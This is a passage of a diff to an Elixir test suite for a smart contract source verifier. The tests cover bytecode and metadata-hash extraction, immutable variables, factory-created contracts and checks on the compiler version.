729e000000000000000000000000000000000000000000000000000000000000000500000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000004fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffb0000000000000000000000000000000000000000000000000000000000000006ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffd8f0000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000000371776500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003657771000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000097177657177657177650000000000000000000000000000000000000000000000", - "compiler_version" => %CBOR.Tag{tag: :bytes, value: <<0, 8, 4>>} - } = Verifier.extract_bytecode_and_metadata_hash(contract_creation_code, deployed_bytecode) - end + contract_address = insert(:contract_address, contract_code: bytecode) - # https://solidity.readthedocs.io/en/v0.6.6/contracts.html?highlight=immutable#constant-and-immutable-state-variables - test "verifies smart-contract with `immutable` assignment" do - bytecode = - "0x6080604052348015600f57600080fd5b506004361060285760003560e01c8063fb49908514602d575b600080fd5b605060048036036020811015604157600080fd5b50356001600160a01b03166064565b604080519115158252519081900360200190f35b7f0000000000000000000000000000000000000000000000056b3977a93ae7c2006001600160a01b038216311191905056fea2646970667358221220b4fbf35809f2d1b85699a897ebb75d00c8c26b29b72decc53db18ddbd853352164736f6c63430006070033" - - tx_input = - "0x60e06040523360601b60c05234801561001757600080fd5b5060405161013f38038061013f8339818101604052604081101561003a57600080fd5b50805160209091015160808290526001600160a01b03163160a081905260c05160601c60cc6100736000395080606652505060cc6000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c8063fb49908514602d575b600080fd5b605060048036036020811015604157600080fd5b50356001600160a01b03166064565b604080519115158252519081900360200190f35b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b038216311191905056fea2646970667358221220b4fbf35809f2d1b85699a897ebb75d00c8c26b29b72decc53db18ddbd853352164736f6c63430006070033000000000000000000000000000000000000000000000000000000000000000100000000000000000000000023602745048d3b8d0a7f953ad444da4cd237ac83" - - contract_address = insert(:contract_address, contract_code: bytecode) - - :transaction - |> insert(created_contract_address_hash: contract_address.hash, input: tx_input) - |> with_block(status: :ok) - - code = """ - pragma solidity >0.6.4 <0.7.0; - - contract C { - uint constant X = 32**22 + 8; - string constant TEXT = "abc"; - bytes32 constant MY_HASH = keccak256("abc"); - uint immutable decimals; - uint immutable maxBalance; - address immutable owner = msg.sender; - - constructor(uint _decimals, address _reference) public { - decimals = _decimals; - // Assignments to immutables can even access the environment. - maxBalance = _reference.balance; - } - - function isBalanceTooHigh(address _other) public view returns (bool) { - return _other.balance > maxBalance; - } - } - """ - - constructor_arguments = - "000000000000000000000000000000000000000000000000000000000000000100000000000000000000000023602745048d3b8d0a7f953ad444da4cd237ac83" - - params = %{ - "contract_source_code" => code, - "compiler_version" => "v0.6.7+commit.b8d736ae", - "evm_version" => "default", - "name" => "C", - "optimization" => true, - "constructor_arguments" => constructor_arguments - } - - assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) - assert abi != nil + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: bytecode <> constructor_arguments + ) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => contract, + "compiler_version" => "v0.5.9+commit.e560f70d", + "evm_version" => "petersburg", + "name" => "TestToken", + "optimization" => false, + "constructor_arguments" => constructor_arguments + } + + assert {:error, :generated_bytecode} = Verifier.evaluate_authenticity(contract_address.hash, params) + end + + test "returns error when there is a compilation problem", %{contract_code_info: contract_code_info} do + contract_address = insert(:contract_address, contract_code: contract_code_info.bytecode) + + params = %{ + "contract_source_code" => "pragma solidity ^0.4.24; contract SimpleStorage { ", + "compiler_version" => contract_code_info.version, + "name" => contract_code_info.name, + "optimization" => contract_code_info.optimized + } + + assert {:error, :compilation, "Function, variable, struct or modifier declaration expected."} = + Verifier.evaluate_authenticity(contract_address.hash, params) + end end - test "verifies smart-contract created from another contract" do - path = File.cwd!() <> "/test/support/fixture/smart_contract/contract_from_factory.sol" - contract = File.read!(path) + describe "extract_bytecode_and_metadata_hash/1" do + test "extracts the bytecode from the hash" do + code = + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a723058203c381c1b48b38d050c54d7ef296ecd411040e19420dfec94772b9c49ae106a0b0029" + + assert %{ + "metadata_hash_with_length" => + "a165627a7a723058203c381c1b48b38d050c54d7ef296ecd411040e19420dfec94772b9c49ae106a0b0029", + "trimmed_bytecode" => + "608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600", + "compiler_version" => nil + } = Verifier.extract_bytecode_and_metadata_hash(code, code) + end + + test "extracts everything to the left of the swarm hash" do + contract_creation_code = + "0x60806040526315c8dd0d60005534801561001857600080fd5b5060405161053e38038061053e8339810160408190526100379161039b565b855161004a906001906020890190610056565b505050505050506104f1565b828054828255906000526020600020908101928215610091579160200282015b82811115610091578251825591602001919060010190610076565b5061009d9291506100a1565b5090565b5b8082111561009d57600081556001016100a2565b60006001600160401b038311156100cf576100cf6104db565b60206100e3601f8501601f19168201610488565b91508382528484840111156100f757600080fd5b60005b84811015610113578381015183820183015281016100fa565b848111156101245760008286850101525b50509392505050565b600082601f83011261013d578081fd5b8151602061015261014d836104b8565b610488565b80838252828201915082860187848660051b8901011115610171578586fd5b855b858110156101a35781516001600160a01b0381168114610191578788fd5b84529284019290840190600101610173565b5090979650505050505050565b600082601f8301126101c0578081fd5b815160206101d061014d836104b8565b80838252828201915082860187848660051b89010111156101ef578586fd5b855b858110156101a35781518015158114610208578788fd5b845292840192908401906001016101f1565b600082601f83011261022a578081fd5b8151602061023a61014d836104b8565b80838252828201915082860187848660051b8901011115610259578586fd5b855b858110156101a35781516001600160401b03811115610278578788fd5b8801603f81018a13610288578788fd5b6102998a87830151604084016100b6565b855250928401929084019060010161025b565b600082601f8301126102bc578081fd5b815160206102cc61014d836104b8565b80838252828201915082860187848660051b89010111156102eb578586fd5b855b858110156101a3578151845292840192908401906001016102ed565b600082601f830112610319578081fd5b8151602061032961014d836104b8565b80838252828201915082860187848660051b8901011115610348578586fd5b855b858110156101a35781516001600160401b03811115610367578788fd5b8801603f81018a13610377578788fd5b6103888a87830151604084016100b6565b855250928401929084019060010161034a565b60008060008060008060c087890312156103b3578182fd5b86516001600160401b03808211156103c9578384fd5b6103d58a838b016102ac565b975060208901519150808211156103ea578384fd5b6103f68a838b0161012d565b9650604089015191508082111561040b578384fd5b6104178a838b016102ac565b9550606089015191508082111561042c578384fd5b6104388a838b016101b0565b9450608089015191508082111561044d578384fd5b6104598a838b0161021a565b935060a089015191508082111561046e578283fd5b5061047b89828a01610309565b9150509295509295509295565b604051601f8201601f191681016001600160401b03811182821017156104b0576104b06104db565b604052919050565b60006001600160401b038211156104d1576104d16104db565b5060051b60200190565b634e487b7160e01b600052604160045260246000fd5b603f806104ff6000396000f3fe6080604052600080fdfea26469706673582212209864ab97aa6a0d2c5cc0828f7fbe63df8fb5e90c758d49371edb3184bcc8239664736f6c6343000804003300000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001e000000000000000000000000000000000000000000000000000000000000002a00000000000000000000000000000000000000000000000000000000000000320000000000000000000000000000000000000000000000000000000000000042000000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000756b5b30000000000000000000000000000000000000000000000000000000000000002000000000000000000000000bb36c792b9b45aaf8b848a1392b0d6559202729e000000000000000000000000bb36c792b9b45aaf8b848a1392b0d6559202729e000000000000000000000000000000000000000000000000000000000000000500000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000004fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffb0000000000000000000000000000000000000000000000000000000000000006ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffd8f0000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000000371776500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003657771000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000097177657177657177650000000000000000000000000000000000000000000000" + + deployed_bytecode = + "0x6080604052600080fdfea26469706673582212209864ab97aa6a0d2c5cc0828f7fbe63df8fb5e90c758d49371edb3184bcc8239664736f6c63430008040033" + + assert %{ + "metadata_hash_with_length" => + "a26469706673582212209864ab97aa6a0d2c5cc0828f7fbe63df8fb5e90c758d49371edb3184bcc8239664736f6c63430008040033", + "trimmed_bytecode" => + "60806040526315c8dd0d60005534801561001857600080fd5b5060405161053e38038061053e8339810160408190526100379161039b565b855161004a906001906020890190610056565b505050505050506104f1565b828054828255906000526020600020908101928215610091579160200282015b82811115610091578251825591602001919060010190610076565b5061009d9291506100a1565b5090565b5b8082111561009d57600081556001016100a2565b60006001600160401b038311156100cf576100cf6104db565b60206100e3601f8501601f19168201610488565b91508382528484840111156100f757600080fd5b60005b84811015610113578381015183820183015281016100fa565b848111156101245760008286850101525b50509392505050565b600082601f83011261013d578081fd5b8151602061015261014d836104b8565b610488565b80838252828201915082860187848660051b8901011115610171578586fd5b855b858110156101a35781516001600160a01b0381168114610191578788fd5b84529284019290840190600101610173565b5090979650505050505050565b600082601f8301126101c0578081fd5b815160206101d061014d836104b8565b80838252828201915082860187848660051b89010111156101ef578586fd5b855b858110156101a35781518015158114610208578788fd5b845292840192908401906001016101f1565b600082601f83011261022a578081fd5b8151602061023a61014d836104b8565b80838252828201915082860187848660051b8901011115610259578586fd5b855b858110156101a35781516001600160401b03811115610278578788fd5b8801603f81018a13610288578788fd5b6102998a87830151604084016100b6565b855250928401929084019060010161025b565b600082601f8301126102bc578081fd5b815160206102cc61014d836104b8565b80838252828201915082860187848660051b89010111156102eb578586fd5b855b858110156101a3578151845292840192908401906001016102ed565b600082601f830112610319578081fd5b8151602061032961014d836104b8565b80838252828201915082860187848660051b8901011115610348578586fd5b855b858110156101a35781516001600160401b03811115610367578788fd5b8801603f81018a13610377578788fd5b6103888a87830151604084016100b6565b855250928401929084019060010161034a565b60008060008060008060c087890312156103b3578182fd5b86516001600160401b03808211156103c9578384fd5b6103d58a838b016102ac565b975060208901519150808211156103ea578384fd5b6103f68a838b0161012d565b9650604089015191508082111561040b578384fd5b6104178a838b016102ac565b9550606089015191508082111561042c578384fd5b6104388a838b016101b0565b9450608089015191508082111561044d578384fd5b6104598a838b0161021a565b935060a089015191508082111561046e578283fd5b5061047b89828a01610309565b9150509295509295509295565b604051601f8201601f191681016001600160401b03811182821017156104b0576104b06104db565b604052919050565b60006001600160401b038211156104d1576104d16104db565b5060051b60200190565b634e487b7160e01b600052604160045260246000fd5b603f806104ff6000396000f3fe6080604052600080fdfe00000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001e000000000000000000000000000000000000000000000000000000000000002a00000000000000000000000000000000000000000000000000000000000000320000000000000000000000000000000000000000000000000000000000000042000000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000756b5b30000000000000000000000000000000000000000000000000000000000000002000000000000000000000000bb36c792b9b45aaf8b848a1392b0d6559202729e000000000000000000000000bb36c792b9b45aaf8b848a1392b0d6559202729e000000000000000000000000000000000000000000000000000000000000000500000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000004fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffb0000000000000000000000000000000000000000000000000000000000000006ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffd8f0000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000000371776500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003657771000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000097177657177657177650000000000000000000000000000000000000000000000", + "compiler_version" => %CBOR.Tag{tag: :bytes, value: <<0, 8, 4>>} + } = Verifier.extract_bytecode_and_metadata_hash(contract_creation_code, deployed_bytecode) + end + + # https://solidity.readthedocs.io/en/v0.6.6/contracts.html?highlight=immutable#constant-and-immutable-state-variables + test "verifies smart-contract with `immutable` assignment" do + bytecode = + "0x6080604052348015600f57600080fd5b506004361060285760003560e01c8063fb49908514602d575b600080fd5b605060048036036020811015604157600080fd5b50356001600160a01b03166064565b604080519115158252519081900360200190f35b7f0000000000000000000000000000000000000000000000056b3977a93ae7c2006001600160a01b038216311191905056fea2646970667358221220b4fbf35809f2d1b85699a897ebb75d00c8c26b29b72decc53db18ddbd853352164736f6c63430006070033" + + tx_input = + "0x60e06040523360601b60c05234801561001757600080fd5b5060405161013f38038061013f8339818101604052604081101561003a57600080fd5b50805160209091015160808290526001600160a01b03163160a081905260c05160601c60cc6100736000395080606652505060cc6000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c8063fb49908514602d575b600080fd5b605060048036036020811015604157600080fd5b50356001600160a01b03166064565b604080519115158252519081900360200190f35b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b038216311191905056fea2646970667358221220b4fbf35809f2d1b85699a897ebb75d00c8c26b29b72decc53db18ddbd853352164736f6c63430006070033000000000000000000000000000000000000000000000000000000000000000100000000000000000000000023602745048d3b8d0a7f953ad444da4cd237ac83" + + contract_address = insert(:contract_address, contract_code: bytecode) - constructor_arguments = "4e1477bdc40fc2458bf646f96f269502658277779fdf0f4080fe798a2d45bc37" - - bytecode = - "0x608060405260043610603e5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416638052474d81146043575b600080fd5b348015604e57600080fd5b5060556067565b60408051918252519081900360200190f35b600054815600a165627a7a72305820a1a0ec90e133c3064fab0ae82aa02a020224ea39d2b5421b6788f800bdde02f60029" + :transaction + |> insert(created_contract_address_hash: contract_address.hash, input: tx_input) + |> with_block(status: :ok) + + code = """ + pragma solidity >0.6.4 <0.7.0; + + contract C { + uint constant X = 32**22 + 8; + string constant TEXT = "abc"; + bytes32 constant MY_HASH = keccak256("abc"); + uint immutable decimals; + uint immutable maxBalance; + address immutable owner = msg.sender; + + constructor(uint _decimals, address _reference) public { + decimals = _decimals; + // Assignments to immutables can even access the environment. + maxBalance = _reference.balance; + } + + function isBalanceTooHigh(address _other) public view returns (bool) { + return _other.balance > maxBalance; + } + } + """ + + constructor_arguments = + "000000000000000000000000000000000000000000000000000000000000000100000000000000000000000023602745048d3b8d0a7f953ad444da4cd237ac83" + + params = %{ + "contract_source_code" => code, + "compiler_version" => "v0.6.7+commit.b8d736ae", + "evm_version" => "default", + "name" => "C", + "optimization" => true, + "constructor_arguments" => constructor_arguments + } + + assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) + assert abi != nil + end + + test "verifies smart-contract created from another contract" do + path = File.cwd!() <> "/test/support/fixture/smart_contract/contract_from_factory.sol" + contract = File.read!(path) + + constructor_arguments = "4e1477bdc40fc2458bf646f96f269502658277779fdf0f4080fe798a2d45bc37" + + bytecode = + "0x608060405260043610603e5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416638052474d81146043575b600080fd5b348015604e57600080fd5b5060556067565b60408051918252519081900360200190f35b600054815600a165627a7a72305820a1a0ec90e133c3064fab0ae82aa02a020224ea39d2b5421b6788f800bdde02f60029" + + init = + "0x608060405234801561001057600080fd5b506040516020806100cc83398101604052516000556099806100336000396000f300608060405260043610603e5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416638052474d81146043575b600080fd5b348015604e57600080fd5b5060556067565b60408051918252519081900360200190f35b600054815600a165627a7a72305820a1a0ec90e133c3064fab0ae82aa02a020224ea39d2b5421b6788f800bdde02f600294e1477bdc40fc2458bf646f96f269502658277779fdf0f4080fe798a2d45bc37" + + contract_address = insert(:contract_address, contract_code: bytecode) + + transaction_success_details = [ + status: :ok + ] + + transaction = + :transaction + |> insert() + |> with_block(transaction_success_details) + + :internal_transaction + |> insert( + created_contract_address_hash: contract_address.hash, + init: init, + type: "create", + created_contract_code: bytecode, + input: nil, + transaction_hash: transaction.hash, + index: 0, + block_hash: transaction.block_hash, + block_index: 0 + ) + + params = %{ + "contract_source_code" => contract, + "compiler_version" => "v0.4.26+commit.4563c3fc", + "evm_version" => "default", + "name" => "ContractFromFactory", + "optimization" => true, + "constructor_arguments" => constructor_arguments + } + + assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) + assert abi != nil + end + + test "verifies smart-contract created from another contract using successful transaction" do + path = File.cwd!() <> "/test/support/fixture/smart_contract/contract_from_factory.sol" + contract = File.read!(path) + + constructor_arguments = "4e1477bdc40fc2458bf646f96f269502658277779fdf0f4080fe798a2d45bc37" + + bytecode = + "0x608060405260043610603e5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416638052474d81146043575b600080fd5b348015604e57600080fd5b5060556067565b60408051918252519081900360200190f35b600054815600a165627a7a72305820a1a0ec90e133c3064fab0ae82aa02a020224ea39d2b5421b6788f800bdde02f60029" + + init = + "0x608060405234801561001057600080fd5b506040516020806100cc83398101604052516000556099806100336000396000f300608060405260043610603e5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416638052474d81146043575b600080fd5b348015604e57600080fd5b5060556067565b60408051918252519081900360200190f35b600054815600a165627a7a72305820a1a0ec90e133c3064fab0ae82aa02a020224ea39d2b5421b6788f800bdde02f600294e1477bdc40fc2458bf646f96f269502658277779fdf0f4080fe798a2d45bc37" + + contract_address = insert(:contract_address, contract_code: bytecode) + + transaction_success_details = [ + status: :ok + ] + + transaction_success = + :transaction + |> insert() + |> with_block(transaction_success_details) + + transaction_failure_details = [ + status: :error + ] + + transaction_failure = + :transaction + |> insert() + |> with_block(transaction_failure_details) + + :internal_transaction + |> insert( + created_contract_address_hash: contract_address.hash, + init: init, + type: "create", + created_contract_code: bytecode, + input: nil, + transaction_hash: transaction_success.hash, + index: 0, + block_hash: transaction_success.block_hash, + block_index: 0 + ) + + :internal_transaction + |> insert( + created_contract_address_hash: contract_address.hash, + init: init, + type: "create", + created_contract_code: bytecode, + input: nil, + transaction_hash: transaction_failure.hash, + index: 0, + block_hash: transaction_failure.block_hash, + block_index: 0 + ) + + params = %{ + "contract_source_code" => contract, + "compiler_version" => "v0.4.26+commit.4563c3fc", + "evm_version" => "default", + "name" => "ContractFromFactory", + "optimization" => true, + "constructor_arguments" => constructor_arguments + } + + assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) + assert abi != nil + end + end - init = - "0x608060405234801561001057600080fd5b506040516020806100cc83398101604052516000556099806100336000396000f300608060405260043610603e5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416638052474d81146043575b600080fd5b348015604e57600080fd5b5060556067565b60408051918252519081900360200190f35b600054815600a165627a7a72305820a1a0ec90e133c3064fab0ae82aa02a020224ea39d2b5421b6788f800bdde02f600294e1477bdc40fc2458bf646f96f269502658277779fdf0f4080fe798a2d45bc37" + describe "compiler version tests" do + # flaky test + test "verification is failed if wrong version of compiler" do + bytecode_0_5_10 = + "0x608060405234801561001057600080fd5b506040516102453803806102458339818101604052602081101561003357600080fd5b81019080805190602001909291905050508060008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506101a98061009c6000396000f3fe608060405234801561001057600080fd5b506004361061005e576000357c010000000000000000000000000000000000000000000000000000000090048063256fec88146100635780633fa4f245146100ad578063812600df146100cb575b600080fd5b61006b6100f9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100b561011f565b6040518082815260200191505060405180910390f35b6100f7600480360360208110156100e157600080fd5b8101908080359060200190929190505050610125565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b806000540160008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea265627a7a72305820fb47165501c50aae8ccb0394b15f4302606e0ba55eb6d59fe12eca19ba494d5e64736f6c634300050a0032" - contract_address = insert(:contract_address, contract_code: bytecode) + constructor_arguments = "000000000000000000000000000000000000000000000000000000000000000a" + contract_address = insert(:contract_address, contract_code: bytecode_0_5_10) + bytecode_constructor_arguments = "#{bytecode_0_5_10}#{constructor_arguments}" - transaction_success_details = [ - status: :ok - ] + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: bytecode_constructor_arguments + ) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => @code_0_5, + "compiler_version" => "v0.5.11+commit.c082d0b4", + "evm_version" => "homestead", + "name" => "Incrementer", + "optimization" => false, + "constructor_arguments" => constructor_arguments + } + + response = Verifier.evaluate_authenticity(contract_address.hash, params) + assert {:error, :compiler_version} = response + end + + test "verification is successful if proper version of compiler" do + bytecode_0_5_10 = + "0x608060405234801561001057600080fd5b506040516102453803806102458339818101604052602081101561003357600080fd5b81019080805190602001909291905050508060008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506101a98061009c6000396000f3fe608060405234801561001057600080fd5b506004361061005e576000357c010000000000000000000000000000000000000000000000000000000090048063256fec88146100635780633fa4f245146100ad578063812600df146100cb575b600080fd5b61006b6100f9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100b561011f565b6040518082815260200191505060405180910390f35b6100f7600480360360208110156100e157600080fd5b8101908080359060200190929190505050610125565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b806000540160008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea265627a7a72305820fb47165501c50aae8ccb0394b15f4302606e0ba55eb6d59fe12eca19ba494d5e64736f6c634300050a0032" + + constructor_arguments = "000000000000000000000000000000000000000000000000000000000000000a" + contract_address = insert(:contract_address, contract_code: bytecode_0_5_10) + bytecode_constructor_arguments = "#{bytecode_0_5_10}#{constructor_arguments}" - transaction = :transaction - |> insert() - |> with_block(transaction_success_details) - - :internal_transaction - |> insert( - created_contract_address_hash: contract_address.hash, - init: init, - type: "create", - created_contract_code: bytecode, - input: nil, - transaction_hash: transaction.hash, - index: 0, - block_hash: transaction.block_hash, - block_index: 0 - ) - - params = %{ - "contract_source_code" => contract, - "compiler_version" => "v0.4.26+commit.4563c3fc", - "evm_version" => "default", - "name" => "ContractFromFactory", - "optimization" => true, - "constructor_arguments" => constructor_arguments - } - - assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) - assert abi != nil + |> insert( + created_contract_address_hash: contract_address.hash, + input: bytecode_constructor_arguments + ) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => @code_0_5, + "compiler_version" => "v0.5.10+commit.5a6ea5b1", + "evm_version" => "homestead", + "name" => "Incrementer", + "optimization" => false, + "constructor_arguments" => constructor_arguments + } + + assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) + assert abi != nil + end end - test "verifies smart-contract created from another contract using successful tx" do - path = File.cwd!() <> "/test/support/fixture/smart_contract/contract_from_factory.sol" - contract = File.read!(path) - - constructor_arguments = "4e1477bdc40fc2458bf646f96f269502658277779fdf0f4080fe798a2d45bc37" + describe "verification with nightly builds" do + test "verification is successful if proper nightly version of compiler ~0.4" do + bytecode_v0_4_24_nightly_2018_4_26_commit_ef2111a2 = + "0x608060405234801561001057600080fd5b5060405160208061023d833981018060405281019080805190602001909291905050508060008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506101b28061008b6000396000f300608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063256fec881461005c5780633fa4f245146100b3578063812600df146100de575b600080fd5b34801561006857600080fd5b5061007161010b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156100bf57600080fd5b506100c8610131565b6040518082815260200191505060405180910390f35b3480156100ea57600080fd5b5061010960048036038101908080359060200190929190505050610137565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b806000540160008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a723058202d622d653be0a507f7ac0bc89d8934ccdbaf5e127abd603c3864a462149885070029" - bytecode = - "0x608060405260043610603e5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416638052474d81146043575b600080fd5b348015604e57600080fd5b5060556067565b60408051918252519081900360200190f35b600054815600a165627a7a72305820a1a0ec90e133c3064fab0ae82aa02a020224ea39d2b5421b6788f800bdde02f60029" + constructor_arguments = "000000000000000000000000000000000000000000000000000000000000000a" + contract_address = insert(:contract_address, contract_code: bytecode_v0_4_24_nightly_2018_4_26_commit_ef2111a2) + bytecode_constructor_arguments = "#{bytecode_v0_4_24_nightly_2018_4_26_commit_ef2111a2}#{constructor_arguments}" - init = - "0x608060405234801561001057600080fd5b506040516020806100cc83398101604052516000556099806100336000396000f300608060405260043610603e5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416638052474d81146043575b600080fd5b348015604e57600080fd5b5060556067565b60408051918252519081900360200190f35b600054815600a165627a7a72305820a1a0ec90e133c3064fab0ae82aa02a020224ea39d2b5421b6788f800bdde02f600294e1477bdc40fc2458bf646f96f269502658277779fdf0f4080fe798a2d45bc37" + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: bytecode_constructor_arguments + ) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => @code_0_4, + "compiler_version" => "v0.4.24-nightly.2018.4.26+commit.ef2111a2", + "evm_version" => "homestead", + "name" => "Incrementer", + "optimization" => false, + "constructor_arguments" => constructor_arguments + } + + assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) + assert abi != nil + end + + test "verification is successful if proper nightly version of compiler ~0.5.10" do + bytecode_0_5_10_nightly_2019_6_4_commit_95e6b2e4 = + 